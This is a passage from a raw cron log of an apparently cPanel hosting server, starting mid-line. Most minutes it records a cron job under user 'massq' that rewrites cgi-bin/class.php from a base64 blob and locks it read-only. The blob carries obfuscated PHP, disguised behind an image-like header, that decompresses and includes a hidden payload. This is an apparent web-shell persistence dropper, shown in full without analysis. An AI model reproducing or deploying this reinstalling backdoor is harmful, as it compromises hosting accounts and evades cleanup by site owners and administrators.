EyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:01:01 server run-parts(/etc/cron.hourly)[17250]: starting 0anacron
Sep  9 22:01:01 server run-parts(/etc/cron.hourly)[17271]: finished 0anacron
Sep  9 22:02:01 server CROND[17629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:02:01 server CROND[17630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:02:01 server CROND[17631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:03:01 server CROND[18106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:03:01 server CROND[18107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:03:01 server CROND[18108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:04:01 server CROND[18482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:04:01 server CROND[18483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:04:01 server CROND[18484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:05:01 server CROND[18874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:05:01 server CROND[18876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:05:01 server CROND[18881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:05:01 server CROND[18880]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:05:01 server CROND[18882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:05:01 server CROND[18878]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:05:01 server CROND[18884]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:05:01 server CROND[18883]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:06:01 server CROND[19767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:06:01 server CROND[19769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:06:01 server CROND[19768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:07:01 server CROND[20138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:07:01 server CROND[20140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:07:01 server CROND[20141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:08:01 server CROND[20660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:08:01 server CROND[20661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:08:01 server CROND[20662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:09:01 server CROND[21033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:09:01 server CROND[21034]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 22:09:01 server CROND[21035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:09:01 server CROND[21036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:10:01 server CROND[21531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:10:01 server CROND[21532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:10:01 server CROND[21536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:10:01 server CROND[21538]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:10:01 server CROND[21540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:10:01 server CROND[21539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:10:01 server CROND[21541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:10:01 server CROND[21537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:11:01 server CROND[22385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:11:01 server CROND[22386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:11:01 server CROND[22387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:12:01 server CROND[22815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:12:01 server CROND[22816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:12:01 server CROND[22817]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:12:01 server CROND[22818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:13:01 server CROND[23310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:13:01 server CROND[23311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:13:01 server CROND[23312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:14:01 server CROND[23794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
